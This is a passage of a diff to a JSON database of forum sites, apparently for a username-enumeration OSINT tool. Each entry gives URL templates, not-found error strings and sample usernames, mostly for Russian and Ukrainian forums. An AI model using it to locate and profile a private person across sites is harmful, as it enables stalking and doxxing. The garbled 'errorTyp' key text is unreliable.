"urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "comments": "cf", + "bad_site": 1 + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "Verification", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oopkmoskva.ucoz.ru/index/8-0-{}", + "urlMain": "https://oopkmoskva.ucoz.ru", + "usernameON": "standartserves", + "bad_site": "" + }, + "Forum_open-chess": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://www.open-chess.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.open-chess.org", + "usernameON": "karakaniec", + "bad_site": "" + }, + "Forum_open_vanillaforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://open.vanillaforums.com/profile/{}", + "urlMain": "https://open.vanillaforums.com", + "usernameON": "haryono", + "bad_site": "" + }, + "Forum_openai": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.openai.com/u/{}", + "urlMain": "https://community.openai.com", + "usernameON": "haktan", + "bad_site": "" + }, + "Forum_openframeworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.openframeworks.cc/u/{}/summary", + "urlMain": "https://forum.openframeworks.cc", + "usernameON": "red", + "bad_site": "" + }, + "Forum_opennebula": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.inductiveautomation.com/u/{}/summary", + "urlMain": "https://forum.opennebula.io", + "usernameON": "vani161998", + "bad_site": "" + }, + "Forum_openoffice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.openoffice.org/en/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.openoffice.org", + "usernameON": "Diane9576", + "bad_site": "" + }, + "Forum_openstreetmap": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.openstreetmap.fr/u/{}/summary", + "urlMain": "https://forum.openstreetmap.fr", + "usernameON": "gendy54", + "bad_site": "" + }, + "Forum_opensuse": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.opensuse.org/u/{}/summary", + "urlMain": "https://forums.opensuse.org", + "usernameON": "someuser7852", + "bad_site": "" + }, + "Forum_openwrt": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "data-preloaded=\"{"search":"{\\"posts\\":[],\\"users\\":[]", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.openwrt.org/search?q={}&search_type=users", + "urlMain": "https://forum.openwrt.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_optima": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.optimaforums.com/members/?username={}", + "urlMain": "https://www.optimaforums.com", + "usernameON": "aiden15", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_optina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.optina.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.optina.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_oranj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oranj.3dn.ru/index/8-0-{}", + "urlMain": "https://oranj.3dn.ru", + "usernameON": "kraudsmart803", + "bad_site": "" + }, + "Forum_orbiter": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.orbiter-forum.com/members/?username={}", + "urlMain": "https://www.orbiter-forum.com/", + "usernameON": "dgatsoulis", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_orbito": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orbito.ucoz.ru/index/8-0-{}", + "urlMain": "https://orbito.ucoz.ru", + "usernameON": "keynbr", + "bad_site": "" + }, + "Forum_orchideus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://orchideus.ucoz.net/index/8-0-{}", + "urlMain": "http://orchideus.ucoz.net", + "usernameON": "Falcon", + "bad_site": "" + }, + "Forum_ord": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ord.at.ua/index/8-0-{}", + "urlMain": "https://ord.at.ua", + "usernameON": "thompson1986", + "bad_site": "" + }, + "Forum_orelhunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 обнаружено совпадений всего на сайте", + "errorMsg2": "0 Ïîëüçîâàòåëè íàéäåíî", + "errorMsg3": "Аккаунт заблокирован", + "errorTyp��": "message", + "url": "https://www.orelhunter.ru/search.php?stext={}", + "urlMain": "https://www.orelhunter.ru", + "usernameON": "zevocixy", + "bad_site": "" + }, + "Forum_org-invalid": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://org-invalid-sov.ucoz.ru/index/8-0-{}", + "urlMain": "https://org-invalid-sov.ucoz.ru", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_originalpw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": 